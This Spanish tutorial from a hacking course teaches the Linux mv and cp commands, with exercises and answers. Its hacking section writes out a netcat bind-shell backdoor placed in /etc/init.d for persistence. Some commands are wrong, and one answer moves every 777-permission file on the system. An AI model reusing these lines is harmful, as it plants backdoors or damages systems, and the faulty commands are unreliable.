Bienvenidos a este capítulo de este Curso de Linux para Hackers, Gestión de Directorios desde la Shell. Comparte este articulo y síguenos para recibir más capítulos, guías y cursos gratis.
Esta guía es parte de un curso mucho más grande en donde te enseñamos a convertirte en hacker de 0 a 100. Desde los conocimientos más básicos hasta conseguir empleo.
En esta guía veremos desde cero un tema tan amplio como es Linux y lo haremos desde el punto de vista del hacking y la ciberseguridad.
Para saber más comente a continuación, respondemos todos y cada uno de los comentarios.
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Lo que aprenderás en este artículo:
- Comando
mv
para mover archivos y directorios en Linux. - Comando
cp
para copiar archivos y directorios. - Mover y copiar múltiples directorios simultáneamente.
- Renombrar directorios usando
mv
. - Opciones avanzadas de
mv
ycp
, como-r
,-i
,-f
, y-p
. - Uso de comodines (globs) para mover o copiar archivos.
- Combinar
mv
ycp
con otros comandos comofind
. - Aplicaciones en hacking, como ocultar archivos y creación de persistencia.
Mover y copiar directorios
Mover y copiar archivos es esencial para cualquier administrador o hacker. El comando mv mueve archivos o directorios de un lugar a otro, mientras que cp los copia.
Mover y copiar directorios desde la shell (terminal) es una de las habilidades fundamentales para cualquier hacker o administrador de sistemas. Usar la línea de comandos para gestionar archivos y directorios es mucho más eficiente que hacerlo mediante interfaces gráficas. En este artículo te voy a enseñar cómo puedes mover y copiar directorios como un experto, utilizando comandos simples y avanzados.
Comando mv
para mover directorios
El comando mv
es el encargado de mover archivos y directorios en sistemas Unix (Linux, macOS). Su sintaxis es la siguiente:
mv [opciones] origen destino
Ejemplo básico: Mover un directorio
Supongamos que tienes un directorio llamado proyectos
y quieres moverlo al directorio /home/hacker/trabajo
:
mv proyectos /home/hacker/trabajo
Este comando mueve el directorio proyectos y su contenido a la ubicación /home/hacker/trabajo. Si el destino no existe, el directorio proyectos se renombrará como trabajo.Ejemplo 2: mv /home/carlos/archivo.txt /var/www/html/
Este comando mueve el archivo archivo.txt al directorio /var/www/html/, que es comúnmente utilizado para archivos web. Un hacker podría utilizar este comando para mover archivos maliciosos a un servidor web vulnerable.
De forma similar, el comando cp permite copiar archivos:
cp-r /home/carlos/proyectos /tmp/
Este comando copia el directorio proyectos y todo su contenido al directorio temporal /tmp/. Usar la opción -r es necesario para copiar directorios completos de manera recursiva.
Mover múltiples directorios
También puedes mover varios directorios al mismo tiempo. Si tienes varios directorios como proyecto1
, proyecto2
, y proyecto3
, y quieres moverlos todos a /home/hacker/trabajo
, puedes usar:
mv proyecto1 proyecto2 proyecto3 /home/hacker/trabajo
Esto moverá los tres directorios al directorio /home/hacker/trabajo
.
Renombrar directorios
El comando mv
también se utiliza para renombrar directorios. Por ejemplo, si quieres renombrar proyectos
a archivos_proyectos
:
omv proyectos archivos_proyectos
El comando mv tiene más opciones que puedes explorar
mv –help
También te recomendamos consultar las páginas man para este comando:
man mv
Comando cp
para copiar directorios
A diferencia de mv
, el comando cp
se utiliza para copiar archivos y directorios. Para copiar un directorio completo, debes usar la opción -r
(recursivo), que le indica a cp
que copie todo el contenido, incluidos los subdirectorios. Su sintaxis es:
cp -r [opciones] origen destino
Ejemplo básico: Copiar un directorio
Si tienes un directorio llamado proyectos
y quieres copiarlo a /home/hacker/backup
, el comando sería:
cp -r proyectos /home/hacker/backup
Esto creará una copia del directorio proyectos
dentro de /home/hacker/backup
.
Copiar múltiples directorios
Al igual que con mv
, puedes copiar varios directorios a la vez. Si tienes proyecto1
, proyecto2
y proyecto3
, y quieres copiarlos todos al directorio /home/hacker/backup
, puedes hacer:
cp -r proyecto1 proyecto2 proyecto3 /home/hacker/backup
Esto creará copias de los tres directorios en el destino especificado.
Copiar directorios con enlaces simbólicos
Si en tu directorio tienes enlaces simbólicos y quieres preservarlos al copiar, usa la opción -a
(archive), que mantiene la estructura original del directorio, incluyendo permisos, enlaces simbólicos, etc.:
cp -a proyectos /home/hacker/backup
El comando cp tiene más opciones que puedes explorar
cp –help
También te recomendamos consultar las páginas man para este comando:
man cp
Opciones avanzadas para mv
y cp
Mover o copiar con confirmación
Si no estás seguro de si debes sobrescribir un archivo o directorio en el destino, puedes usar la opción -i
(interactivo), que te pedirá confirmación antes de sobrescribir cualquier cosa:
mv -i proyectos /home/hacker/trabajo
cp -ri proyectos /home/hacker/backup
En este caso, el comando te preguntará si deseas sobrescribir los archivos en caso de conflicto.
Mostrar progreso durante la copia
Si estás copiando un directorio muy grande y quieres ver el progreso, puedes combinar el comando cp
con pv
(Pipe Viewer), que muestra una barra de progreso:
cp -r proyectos /home/hacker/backup | pv
Esto es muy útil cuando trabajas con directorios que contienen muchos archivos grandes.
Mantener permisos y atributos
Para asegurarte de que los permisos, propietarios y tiempos de modificación de los archivos se conserven al copiarlos, usa las opciones -p
(preserve) o -a
(archive):
ocp -rp proyectos /home/hacker/backup
Forzar la copia o el movimiento
Si quieres sobrescribir archivos sin que te pida confirmación, usa la opción -f
(force). Esto puede ser útil cuando trabajas con scripts o quieres asegurarte de que los archivos se reemplacen:
mv -f proyectos /home/hacker/trabajo
cp -rf proyectos /home/hacker/backup
Usar comodines para mover o copiar
Si quieres mover o copiar múltiples archivos que sigan un patrón, puedes usar comodines. Por ejemplo, si quieres mover todos los directorios que empiecen con “proyecto” a /home/hacker/trabajo
:
mv proyecto* /home/hacker/trabajo
Esto moverá todos los directorios cuyo nombre comience con “proyecto” al directorio de destino.
Combinando mv
y cp
con otros comandos
Uno de los poderes de la shell es que puedes combinar varios comandos para lograr tareas más complejas. Aquí algunos ejemplos:
Usar find
para mover o copiar selectivamente
Si quieres mover o copiar directorios basándote en ciertos criterios (como la fecha de modificación o el nombre), puedes usar el comando find
. Por ejemplo, para mover todos los directorios modificados en los últimos 7 días:
find . -type d -mtime -7 -exec mv {} /home/hacker/trabajo \;
Este comando busca todos los directorios (-type d
) modificados en los últimos 7 días (-mtime -7
) y los mueve a /home/hacker/trabajo
.
Copiar o mover solo archivos de cierto tipo
Si solo te interesan los archivos dentro de los directorios que tengan cierta extensión, por ejemplo .txt
, puedes combinar find
y cp
:
find . -type f -name "*.txt" -exec cp {} /home/hacker/backup \;
Esto copiará todos los archivos .txt
encontrados en el directorio actual y sus subdirectorios al destino.
Errores comunes y cómo evitarlos
Cuando mueves o copias directorios, hay algunos errores comunes que pueden surgir. Aquí te doy algunos consejos para evitarlos:
1. No usar -r
en cp
: Si olvidas la opción -r
al copiar un directorio, verás un error que te dirá que no puede copiar un directorio sin esta opción. Asegúrate siempre de usar -r
o -a
cuando trabajes con directorios.
2. Sobrescribir sin querer: Si usas mv
o cp
sin la opción -i
, podrías sobrescribir archivos o directorios sin que te lo pregunte. Para evitar esto, usa siempre -i
si no estás completamente seguro.
3. Mover o copiar archivos a un directorio incorrecto: Asegúrate de verificar dos veces el destino antes de ejecutar un comando. Un pequeño error tipográfico puede mover o copiar tus archivos a un lugar que no esperabas.
Gestión avanzada de directorios y su importancia para los hackers
Estos comandos son muy básicos, pero aun así, desde el principio te vamos a ir enseñando como podes usarlos en temas de hacking y ciberseguridad
Ocultar archivos en directorios ocultos
En Linux, los archivos y directorios que comienzan con un punto (.) son considerados ocultos. Los hackers pueden aprovechar esta funcionalidad para esconder archivos maliciosos o scripts dentro del sistema.
Ejemplo: Crear un directorio oculto
mkdir /home/carlos/.oculto
Este comando crea un directorio oculto llamado .oculto dentro del directorio del usuario. Los hackers pueden almacenar archivos dentro de este directorio sin que sean visibles a simple vista.
Exploración de directorios con permisos inadecuados
Muchas veces, los sistemas mal configurados tienen directorios o archivos con permisos más amplios de lo necesario, lo que abre la puerta a explotaciones. Un hacker podría usar herramientas como find para buscar estos archivos y directorios vulnerables.
Ejemplo: Buscar archivos con permisos peligrosos
find / -perm 777
Este comando busca archivos y directorios que tengan permisos de lectura, escritura y ejecución para todos los usuarios. Estos archivos son vulnerables a manipulaciones maliciosas.
Creación de directorios para ataques persistentes
Los hackers a menudo intentan crear acceso persistente a los sistemas que comprometen, lo que significa que, incluso si se reinicia el sistema o se revoca el acceso inicial, aún pueden regresar. Para ello, pueden crear directorios y archivos en lugares estratégicos, como en /etc/ o /usr/local/bin/, para ejecutar scripts maliciosos al inicio del sistema.
Ejemplo: Crear un archivo de inicio automático
echo “nc -lvp 4444 -e /bin/bash”> /etc/init.d/backdoor.sh
chmod+x /etc/init.d/backdoor.sh
Este comando crea un script que ejecuta un servidor de escucha en el puerto 4444, permitiendo que el hacker se conecte remotamente al sistema. Luego, el script se coloca en un directorio de inicio para que se ejecute automáticamente al reiniciar el sistema.
Uso de directorios temporales para ocultar actividades
Los directorios temporales como /tmp o /var/tmp son áreas en las que los archivos se almacenan de forma temporal. Debido a que muchos procesos del sistema los utilizan, los hackers a menudo esconden scripts o archivos maliciosos en estos directorios, confiando en que no se revisen regularmente.
Ejemplo: Ejecutar un script desde un directorio temporal
cp/home/usuario/malware.sh /tmp/
bash /tmp/malware.sh
Este comando copia un script malicioso al directorio /tmp/ y lo ejecuta desde allí. Debido a la naturaleza temporal del directorio, es menos probable que se detecte.
Resumen y Puntos clave:
- Comando
mv
para mover archivos y directorios
El comandomv
se utiliza para mover archivos o directorios de una ubicación a otra. Si el destino no existe, el directorio será renombrado.
Ejemplo básico:mv proyectos /home/hacker/trabajo
- Comando
cp
para copiar archivos y directorios
El comandocp
copia archivos o directorios. Para copiar directorios completos, se debe usar la opción-r
(recursivo), que incluye subdirectorios y archivos.
Ejemplo básico:cp -r proyectos /home/hacker/backup
- Mover y copiar múltiples directorios simultáneamente
Ambos comandos permiten mover o copiar varios directorios en una sola operación.
Ejemplo conmv
:mv proyecto1 proyecto2 /home/hacker/trabajo
- Renombrar directorios con
mv
El comandomv
también se utiliza para renombrar directorios o archivos.
Ejemplo:mv proyectos archivos_proyectos
- Opciones avanzadas de
mv
ycp
-r
: Mover/copiar recursivamente todo un directorio.-i
: Interactivo, pide confirmación antes de sobrescribir.-f
: Forzar, sobrescribe sin confirmación.-p
: Mantiene permisos y atributos del archivo original.
Ejemplo:
cp -r -p proyectos /home/hacker/backup
- Uso de comodines para mover o copiar archivos
Puedes usar comodines como*
para mover o copiar múltiples archivos que coincidan con un patrón.
Ejemplo:mv proyecto* /home/hacker/trabajo
- Combinar
mv
ycp
con otros comandos
Puedes combinarmv
ocp
con el comandofind
para mover/copiar archivos que cumplan ciertos criterios, como fecha de modificación o tipo de archivo.
Ejemplo:find . -type f -name "*.txt" -exec cp {} /home/hacker/backup \;
- Aplicaciones en hacking: ocultar archivos y persistencia
Hackers pueden usar directorios ocultos (como aquellos que comienzan con.
) para esconder archivos o scripts. También pueden crear persistencia al colocar archivos en directorios estratégicos como/etc/init.d/
para que se ejecuten automáticamente en el arranque.
Ejemplo de creación de un directorio oculto:mkdir /home/carlos/.oculto
Mover y copiar archivos eficientemente usando mv
y cp
es esencial para cualquier administrador o hacker, proporcionando control total sobre la organización de archivos y sistemas.
Conclusión
La gestión de directorios en Linux es una habilidad esencial, tanto para administradores como para hackers. Para los hackers, esta capacidad es una herramienta poderosa para explorar sistemas, realizar cambios maliciosos, ocultar actividades y eliminar evidencia. Con el conocimiento de los comandos y la estructura de directorios, los hackers pueden ganar un control significativo sobre un sistema comprometido, mientras que los administradores pueden usar las mismas herramientas para proteger y gestionar eficazmente sus servidores y redes.
Mover y copiar directorios desde la shell es una tarea poderosa y flexible que, una vez dominada, te ahorrará mucho tiempo y esfuerzo. Desde operaciones básicas como mover y copiar directorios, hasta combinaciones más avanzadas con otros comandos como find
, la línea de comandos te da un control total sobre tu sistema. Con práctica, te convertirás en un maestro gestionando archivos desde la terminal, lo que te permitirá trabajar más rápido y eficiente.
Así que ya sabes, la próxima vez que necesites mover o copiar directorios, ¡hazlo como un experto desde la shell!
Pon en práctica lo aprendido
Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.
10 Preguntas sobre los comandos mv
y cp
en Linux
- ¿Qué hace el comando
mv
en un sistema Linux? - ¿Cómo puedes mover un directorio llamado “documentos” al directorio
/home/usuario
? - ¿Qué diferencia hay entre el comando
mv
y el comandocp
? - ¿Qué opción debes usar con el comando
cp
para copiar directorios de manera recursiva? - ¿Cómo puedes renombrar un directorio utilizando el comando
mv
? - ¿Qué hace el comando
cp -a
y cuándo es útil? - ¿Cómo puedes mover varios directorios al mismo tiempo a una ubicación de destino?
- ¿Qué hace la opción
-i
en los comandosmv
ycp
? - ¿Cómo puedes copiar solo archivos con extensión
.txt
desde el directorio actual a/home/usuario
? - ¿Qué comando puedes usar para mover todos los archivos cuyo nombre comience con “proyecto” al directorio
/backup
?
10 Ejercicios basados en el uso de mv
y cp
- Mueve el directorio “proyectos” al directorio
/var/www/
. - Copia el directorio “backup” y todo su contenido al directorio
/home/usuario/backup_nuevo
. - Renombra el directorio “trabajo” a “proyecto_final”.
- Mueve los directorios “archivo1”, “archivo2” y “archivo3” a
/home/hacker/trabajos
. - Copia el directorio “documentos” a
/tmp
, preservando permisos y enlaces simbólicos. - Copia todos los archivos
.pdf
del directorio/home/usuario
al directorio/home/usuario/documentos_pdf
. - Mueve todos los archivos que comiencen con “temp_” desde el directorio actual al directorio
/tmp
. - Usa
mv
para sobrescribir un archivo en el destino sin pedir confirmación. - Copia solo los archivos modificados en los últimos 7 días desde el directorio
/var/log
a/backup/logs_recientes
. - Encuentra todos los archivos con permisos
777
en el sistema y muévelos al directorio/home/seguridad
.
Respuestas a las 10 Preguntas
- El comando
mv
en Linux mueve archivos o directorios de una ubicación a otra o los renombra. - Para mover el directorio “documentos” a
/home/usuario
, usarías:mv documentos /home/usuario/
- El comando
mv
mueve archivos o directorios, mientras quecp
copia archivos o directorios. - La opción
-r
se utiliza concp
para copiar directorios de forma recursiva. - Para renombrar un directorio con
mv
, usarías:mv nombre_antiguo nombre_nuevo
- El comando
cp -a
preserva permisos, enlaces simbólicos, y tiempos de modificación al copiar un directorio, útil para hacer copias exactas. - Puedes mover varios directorios al mismo tiempo especificando sus nombres y el destino:
mv dir1 dir2 dir3 /ruta/destino
- La opción
-i
enmv
ycp
hace que el comando te pregunte antes de sobrescribir un archivo. - Para copiar solo los archivos
.txt
, usarías:cp *.txt /home/usuario/
- Para mover todos los archivos que comienzan con “proyecto” al directorio
/backup
, usarías:mv proyecto* /backup/
Respuestas a los 10 Ejercicios
- Mover el directorio “proyectos” a
/var/www/
:mv proyectos /var/www/
- Copiar el directorio “backup” a
/home/usuario/backup_nuevo
:cp -r backup /home/usuario/backup_nuevo
- Renombrar el directorio “trabajo” a “proyecto_final”:
mv trabajo proyecto_final
- Mover varios directorios a
/home/hacker/trabajos
:mv archivo1 archivo2 archivo3 /home/hacker/trabajos/
- Copiar el directorio “documentos” a
/tmp
preservando permisos:cp -a documentos /tmp/
- Copiar todos los archivos
.pdf
a un directorio específico:cp *.pdf /home/usuario/documentos_pdf/
- Mover archivos que comiencen con “temp_” a
/tmp
:mv temp_* /tmp/
- Mover un archivo sobrescribiéndolo sin confirmación:
mv -f archivo.txt /ruta/destino/
- Copiar archivos modificados en los últimos 7 días a
/backup/logs_recientes
:find /var/log -type f -mtime -7 -exec cp {} /backup/logs_recientes/ \;
- Mover archivos con permisos
777
a/home/seguridad
:find / -perm 777 -type f -exec mv {} /home/seguridad/ \;
No te detengas, sigue avanzando
Aquí tienes un propósito que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera! El mundo necesita más hackers…
- Cómo conseguir trabajo de hacker en 2024
- Trabaja remoto e internacionalmente como Hacker en 2024
- Se necesitan más Hackers – Hechos y estadísticas de 2024
- Se Necesitan más Hackers – La escasez de habilidades en ciberseguridad está empeorando
- El salario de un hacker – Cuanto se gana como Pentesters/ Infosec
- Las empresas te estan buscando para hacerle frente a los ciberataques
- Cómo convertirse en analista de ciberseguridad
- Inicia en hacking y ciberseguridad como analista SOC
- DevOps vs DevSecOps para Hackers
- DevOps vs DevSecOps para Empresas
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Sobre los autores
Álvaro Chirou
Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes seguirme en mis redes:
Laprovittera Carlos
Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:
Hacker de 0 a 100 desde las bases hasta conseguir empleo
¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: https://achirou.com/hacker-de-0-a-100-desde-las-bases-hasta-conseguir-empleo/ que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.
Hemos creado una ruta de 0 a 100. Un plan de desarrollo que va desde las bases: cómo aprender hacking, qué aprender, en qué orden; pasando por las areas técnicas necesarias como Linux, Redes, Programación y los conocimientos necesarios en ciber seguridad, hacking, pentesting hasta la práctica y el inicio laboral: Crear tu propio laboratorio, certificaciones, adquirir experiencia e iniciarse laboralmente.
Este es un mega post. Una guía con más de 250 artículos que te llevaran por el camino del hacker. Esta guía es gratuita y esta creada gracias al esfuerzo y al trabajo combinado de Alvaro Chirou y mío (Laprovittera Carlos).
Creamos esta guía (futuro curso) para que puedas iniciarte en este mundo. Puedes arrancar ahora, GRATIS, solo necesitas un PC, conexión a internet y paciencia (Ser hacker NO ES un camino de la noche a la mañana).
El Hacking y la ciberseguridad es una carrera divertida, emocionante y gratificante que te recompensará y desafiará por igual. Sin embargo, para quienes buscan adentrarse en este campo en auge y en constante evolución, puede resultar difícil saber por dónde empezar. ¡Ahí es donde entra en juego nuestra guía en ciberseguridad!
Esta es la hoja de ruta hacia el trabajo de ciberseguridad de tus sueños. Te ayudará a entender qué conocimientos, habilidades y certificados son necesarios para alcanzar tus metas profesionales y tener una carrera próspera. Si quieres ser consultor de ciberseguridad, analista de malware, evaluador de penetración, analista de SOC o cualquier otro puesto de ciberseguridad, esta guía es lo que necesitas.
SIGUE APRENDIENDO GRATIS CON NUESTRAS GUIAS
- Cómo Iniciarse en Hacking y Ciberseguridad en 2024
- Hacker de 0 a 100 desde las bases hasta conseguir empleo
- Curso de Redes para Hackers
- Curso Gratis de Programación
- Curso Gratis Linux – Capitulo 1 – Introducción a Linux
- Curso Gratis de Redes – Capitulo 1 – Tipos de redes y servicios
- Guía de Hacking y Pentesting capitulo 1: Introducción al Pentesting
- Como iniciarse en TRY HACK ME – Complete Beginner #1
- OSINT #1 Más de 200 Search Tools
- Curso Gratis de Java para Hackers
- Hardware para Hackers – Los mejores 40 Dispositivos de Hacking
- Guía de Flipper Zero – Qué es y para qué sirve
- SIGUE APRENDIENDO GRATIS EN NUESTRO BLOG
Aprende con nuestros más de 100 cursos que tenemos disponibles para vos
Compartimos estos recursos para ayudar a la comunidad de hacking y ciberseguridad. COMPARTE y Siéntete libre de agregar más sugerencias en los comentarios a continuación, respondemos todos y cada uno de los comentarios.
Saludos amigos y happy hacking!!!